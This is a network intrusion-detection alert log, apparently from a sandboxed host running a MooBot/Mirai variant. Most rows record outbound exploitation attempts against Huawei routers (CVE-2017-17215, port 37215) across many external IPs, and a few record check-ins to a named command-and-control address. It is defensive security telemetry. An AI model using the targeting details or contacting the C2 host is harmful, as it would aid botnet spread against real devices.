2024-08-01T15:35:21.852498+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57486	37215	192.168.2.14	191.11.246.174
2024-08-01T15:35:48.348448+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47618	37215	192.168.2.14	27.78.66.10
2024-08-01T15:36:06.688084+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55318	37215	192.168.2.14	156.14.36.173
2024-08-01T15:36:13.212384+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51006	37215	192.168.2.14	193.124.94.138
2024-08-01T15:35:20.205145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34936	37215	192.168.2.14	79.196.100.247
2024-08-01T15:35:40.226976+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60346	37215	192.168.2.14	197.204.140.31
2024-08-01T15:35:21.909790+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39218	37215	192.168.2.14	166.169.83.193
2024-08-01T15:35:43.461415+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42616	37215	192.168.2.14	197.74.197.244
2024-08-01T15:36:01.508634+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35420	37215	192.168.2.14	41.222.255.238
2024-08-01T15:35:20.210408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34712	37215	192.168.2.14	157.57.103.130
2024-08-01T15:36:42.169587+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38992	37215	192.168.2.14	161.127.172.23
2024-08-01T15:35:20.545511+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60328	37215	192.168.2.14	157.142.158.108
2024-08-01T15:36:26.573015+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45398	37215	192.168.2.14	41.11.168.106
2024-08-01T15:36:18.281793+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51012	37215	192.168.2.14	41.230.78.83
2024-08-01T15:36:39.137334+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56376	37215	192.168.2.14	197.180.178.15
2024-08-01T15:36:49.825943+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34604	37215	192.168.2.14	197.117.26.248
2024-08-01T15:35:16.861025+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41178	37215	192.168.2.14	41.130.209.143
2024-08-01T15:36:14.905364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42590	37215	192.168.2.14	41.196.75.206
2024-08-01T15:36:22.370290+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35544	37215	192.168.2.14	203.200.111.161
2024-08-01T15:35:16.682096+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40182	37215	192.168.2.14	41.169.67.45
2024-08-01T15:35:20.203609+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60118	37215	192.168.2.14	157.139.217.248
2024-08-01T15:35:48.347977+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41532	37215	192.168.2.14	104.193.104.80
2024-08-01T15:36:32.778946+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50048	37215	192.168.2.14	41.183.10.62
2024-08-01T15:35:17.170737+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45514	37215	192.168.2.14	157.82.15.33
2024-08-01T15:36:18.249644+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60572	37215	192.168.2.14	108.243.114.117
2024-08-01T15:36:24.468051+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41468	37215	192.168.2.14	43.4.139.21
2024-08-01T15:36:32.907550+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58822	37215	192.168.2.14	41.166.172.94
2024-08-01T15:36:09.862231+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54112	37215	192.168.2.14	41.192.253.251
2024-08-01T15:35:21.919055+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60542	37215	192.168.2.14	41.40.221.28
2024-08-01T15:35:54.399397+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48796	37215	192.168.2.14	197.252.156.141
2024-08-01T15:35:21.882077+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60170	37215	192.168.2.14	197.185.111.97
2024-08-01T15:36:49.660807+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35248	37215	192.168.2.14	170.247.9.67
2024-08-01T15:36:18.264512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43228	37215	192.168.2.14	197.114.236.215
2024-08-01T15:35:17.158263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59474	37215	192.168.2.14	170.68.156.59
2024-08-01T15:35:17.232553+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58956	37215	192.168.2.14	157.222.213.96
2024-08-01T15:36:09.903268+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36440	37215	192.168.2.14	81.196.221.36
2024-08-01T15:35:20.204891+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57756	37215	192.168.2.14	157.147.34.89
2024-08-01T15:35:20.216597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53284	37215	192.168.2.14	41.79.224.118
2024-08-01T15:37:00.113703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35000	37215	192.168.2.14	213.203.19.118
2024-08-01T15:36:14.830984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59480	37215	192.168.2.14	41.178.4.108
2024-08-01T15:35:21.908033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39040	37215	192.168.2.14	157.103.47.32
2024-08-01T15:36:02.071512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33438	37215	192.168.2.14	197.9.122.30
2024-08-01T15:36:42.169624+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47548	37215	192.168.2.14	197.28.81.115
2024-08-01T15:36:18.276505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40528	37215	192.168.2.14	41.19.24.83
2024-08-01T15:36:22.385699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37942	37215	192.168.2.14	218.151.189.230
2024-08-01T15:35:21.895700+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42080	37215	192.168.2.14	157.120.66.165
2024-08-01T15:35:40.220988+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51430	37215	192.168.2.14	157.191.100.151
2024-08-01T15:35:20.204977+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58414	37215	192.168.2.14	41.229.34.33
2024-08-01T15:35:17.111000+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35460	37215	192.168.2.14	157.15.47.253
2024-08-01T15:35:40.221160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46810	37215	192.168.2.14	41.134.40.2
2024-08-01T15:36:26.558587+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54430	37215	192.168.2.14	41.69.84.178
2024-08-01T15:36:40.246399+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44618	37215	192.168.2.14	92.32.247.220
2024-08-01T15:35:16.588428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34536	37215	192.168.2.14	41.68.112.151
2024-08-01T15:35:48.348182+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54072	37215	192.168.2.14	157.7.154.250
2024-08-01T15:36:48.584714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41970	37215	192.168.2.14	41.200.70.89
2024-08-01T15:36:32.774678+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37330	37215	192.168.2.14	41.23.47.126
2024-08-01T15:36:51.620416+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33996	37215	192.168.2.14	157.184.1.120
2024-08-01T15:35:20.210277+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52660	37215	192.168.2.14	41.29.127.52
2024-08-01T15:35:21.884899+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39736	37215	192.168.2.14	24.19.94.141
2024-08-01T15:35:40.241701+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38610	37215	192.168.2.14	157.250.79.98
2024-08-01T15:35:20.545253+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33536	37215	192.168.2.14	157.225.94.19
2024-08-01T15:36:22.543796+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37802	37215	192.168.2.14	41.200.52.176
2024-08-01T15:35:56.489044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44158	37215	192.168.2.14	157.86.84.76
2024-08-01T15:36:29.452588+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33606	37215	192.168.2.14	197.254.92.231
2024-08-01T15:36:28.685599+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52658	37215	192.168.2.14	200.182.35.139
2024-08-01T15:35:20.202634+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47206	37215	192.168.2.14	41.124.231.62
2024-08-01T15:36:18.249652+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58146	37215	192.168.2.14	197.176.211.251
2024-08-01T15:36:26.759249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38786	37215	192.168.2.14	137.67.14.123
2024-08-01T15:36:49.753623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59460	37215	192.168.2.14	41.102.92.216
2024-08-01T15:36:11.954233+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37878	37215	192.168.2.14	41.223.199.85
2024-08-01T15:35:16.404080+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52344	37215	192.168.2.14	136.209.131.27
2024-08-01T15:35:16.616866+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56772	37215	192.168.2.14	197.88.34.150
2024-08-01T15:36:57.615990+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54406	37215	192.168.2.14	163.49.237.186
2024-08-01T15:36:06.759163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33564	37215	192.168.2.14	197.164.228.120
2024-08-01T15:36:51.565209+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49096	37215	192.168.2.14	170.199.30.155
2024-08-01T15:36:31.132035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35620	37215	192.168.2.14	41.78.4.198
2024-08-01T15:36:51.589248+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60480	37215	192.168.2.14	197.111.24.106
2024-08-01T15:35:20.203232+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40864	37215	192.168.2.14	41.150.28.211
2024-08-01T15:35:20.545249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53494	37215	192.168.2.14	157.44.4.136
2024-08-01T15:35:17.258384+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35206	37215	192.168.2.14	197.141.49.56
2024-08-01T15:35:21.872304+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49258	37215	192.168.2.14	207.169.8.62
2024-08-01T15:36:22.353505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45130	37215	192.168.2.14	41.129.33.172
2024-08-01T15:35:21.842414+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39344	37215	192.168.2.14	157.14.74.18
2024-08-01T15:36:01.465131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49020	37215	192.168.2.14	41.105.5.91
2024-08-01T15:35:17.250995+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50020	37215	192.168.2.14	154.127.74.3
2024-08-01T15:36:48.604096+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52768	37215	192.168.2.14	64.228.137.185
2024-08-01T15:36:37.056571+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59310	37215	192.168.2.14	197.201.49.24
2024-08-01T15:35:20.210232+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46018	37215	192.168.2.14	157.108.69.147
2024-08-01T15:35:01.758863+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	37036	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:20.210445+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54842	37215	192.168.2.14	197.153.149.210
2024-08-01T15:36:09.886315+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40546	37215	192.168.2.14	106.246.172.68
2024-08-01T15:35:20.204723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38588	37215	192.168.2.14	157.193.29.198
2024-08-01T15:35:56.555814+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33272	37215	192.168.2.14	113.234.246.206
2024-08-01T15:36:09.868342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55772	37215	192.168.2.14	197.104.60.42
2024-08-01T15:36:01.470726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52366	37215	192.168.2.14	51.46.228.52
2024-08-01T15:35:50.298268+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58554	37215	192.168.2.14	41.79.227.46
2024-08-01T15:36:16.184294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56710	37215	192.168.2.14	41.17.228.69
2024-08-01T15:36:31.122559+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41240	37215	192.168.2.14	76.42.5.96
2024-08-01T15:36:09.901429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34916	37215	192.168.2.14	197.125.235.120
2024-08-01T15:36:06.678049+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51848	37215	192.168.2.14	41.179.60.88
2024-08-01T15:36:57.555741+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32922	37215	192.168.2.14	197.13.234.15
2024-08-01T15:36:48.405887+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43268	37215	192.168.2.14	197.47.112.92
2024-08-01T15:35:16.554610+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58962	37215	192.168.2.14	197.237.103.241
2024-08-01T15:36:39.557540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52548	37215	192.168.2.14	41.251.57.164
2024-08-01T15:35:50.300238+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37504	37215	192.168.2.14	115.244.127.174
2024-08-01T15:35:20.215004+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35730	37215	192.168.2.14	41.157.106.162
2024-08-01T15:35:21.905960+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49080	37215	192.168.2.14	197.12.225.254
2024-08-01T15:35:16.710671+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47228	37215	192.168.2.14	41.178.100.181
2024-08-01T15:35:43.304238+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40770	37215	192.168.2.14	197.107.22.130
2024-08-01T15:36:42.158852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40784	37215	192.168.2.14	197.229.98.140
2024-08-01T15:36:20.315033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37422	37215	192.168.2.14	157.235.183.195
2024-08-01T15:36:26.558317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37646	37215	192.168.2.14	157.125.13.174
2024-08-01T15:35:20.202638+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37860	37215	192.168.2.14	157.22.48.45
2024-08-01T15:35:20.216495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36164	37215	192.168.2.14	197.107.232.97
2024-08-01T15:35:20.206861+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40232	37215	192.168.2.14	197.52.145.226
2024-08-01T15:36:21.317319+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	33016	56999	192.168.2.14	103.238.235.163
2024-08-01T15:36:47.889009+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33624	37215	192.168.2.14	41.0.151.19
2024-08-01T15:36:01.488089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35260	37215	192.168.2.14	47.152.159.22
2024-08-01T15:36:09.904714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40812	37215	192.168.2.14	41.227.38.220
2024-08-01T15:36:09.869108+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48166	37215	192.168.2.14	41.215.135.4
2024-08-01T15:35:45.291455+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37420	37215	192.168.2.14	197.41.117.45
2024-08-01T15:35:53.373228+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40932	37215	192.168.2.14	41.84.155.189
2024-08-01T15:35:16.323929+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53386	37215	192.168.2.14	41.236.40.252
2024-08-01T15:35:58.638789+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36628	37215	192.168.2.14	197.243.252.109
2024-08-01T15:35:10.435875+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	39046	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:56.485276+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60900	37215	192.168.2.14	41.232.244.85
2024-08-01T15:36:11.931795+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49650	37215	192.168.2.14	41.52.1.201
2024-08-01T15:36:04.616173+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50784	37215	192.168.2.14	41.8.119.27
2024-08-01T15:35:23.774896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53124	37215	192.168.2.14	45.247.103.17
2024-08-01T15:35:58.619767+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58638	37215	192.168.2.14	206.111.242.59
2024-08-01T15:36:48.426826+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33662	37215	192.168.2.14	197.243.200.64
2024-08-01T15:35:17.154888+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54194	37215	192.168.2.14	71.115.192.50
2024-08-01T15:35:20.206009+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43000	37215	192.168.2.14	14.190.104.245
2024-08-01T15:35:20.545286+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58386	37215	192.168.2.14	41.233.214.196
2024-08-01T15:36:24.446212+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58478	37215	192.168.2.14	197.194.35.132
2024-08-01T15:36:22.341225+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59416	37215	192.168.2.14	209.115.82.123
2024-08-01T15:35:17.252793+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58988	37215	192.168.2.14	41.222.247.13
2024-08-01T15:35:35.120260+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44244	37215	192.168.2.14	157.12.139.121
2024-08-01T15:35:40.227754+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34050	37215	192.168.2.14	122.23.179.207
2024-08-01T15:36:44.290959+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35256	37215	192.168.2.14	41.104.133.65
2024-08-01T15:36:09.901511+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48228	37215	192.168.2.14	197.147.220.201
2024-08-01T15:36:01.466687+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60462	37215	192.168.2.14	157.8.188.231
2024-08-01T15:35:32.994587+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33568	37215	192.168.2.14	190.162.246.71
2024-08-01T15:36:29.404340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44776	37215	192.168.2.14	157.206.50.124
2024-08-01T15:36:51.589445+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43886	37215	192.168.2.14	220.12.152.23
2024-08-01T15:36:55.997345+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48892	37215	192.168.2.14	197.55.130.171
2024-08-01T15:35:20.203408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53880	37215	192.168.2.14	157.3.231.133
2024-08-01T15:35:35.120559+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34000	37215	192.168.2.14	157.3.133.173
2024-08-01T15:35:50.432459+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34868	37215	192.168.2.14	197.39.183.130
2024-08-01T15:35:17.161589+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35646	37215	192.168.2.14	41.165.0.32
2024-08-01T15:35:56.488811+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36874	37215	192.168.2.14	197.103.192.38
2024-08-01T15:36:14.806046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38832	37215	192.168.2.14	197.242.22.119
2024-08-01T15:36:26.669439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39762	37215	192.168.2.14	157.59.132.86
2024-08-01T15:35:20.205583+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37652	37215	192.168.2.14	197.141.27.118
2024-08-01T15:35:03.743384+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46182	37215	192.168.2.14	157.101.162.13
2024-08-01T15:36:34.859725+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40266	37215	192.168.2.14	197.85.178.108
2024-08-01T15:35:20.206480+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44026	37215	192.168.2.14	157.101.184.107
2024-08-01T15:36:22.541887+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50438	37215	192.168.2.14	41.170.140.115
2024-08-01T15:35:50.289019+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37022	37215	192.168.2.14	157.85.143.114
2024-08-01T15:35:20.210482+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41962	37215	192.168.2.14	197.177.166.85
2024-08-01T15:36:29.016618+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41988	37215	192.168.2.14	197.134.16.138
2024-08-01T15:36:09.886204+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53946	37215	192.168.2.14	157.69.189.64
2024-08-01T15:35:53.373273+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59844	37215	192.168.2.14	163.120.70.194
2024-08-01T15:35:28.718782+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42298	37215	192.168.2.14	197.177.73.124
2024-08-01T15:36:16.201931+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48940	37215	192.168.2.14	197.144.76.55
2024-08-01T15:35:21.905362+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42790	37215	192.168.2.14	157.4.86.223
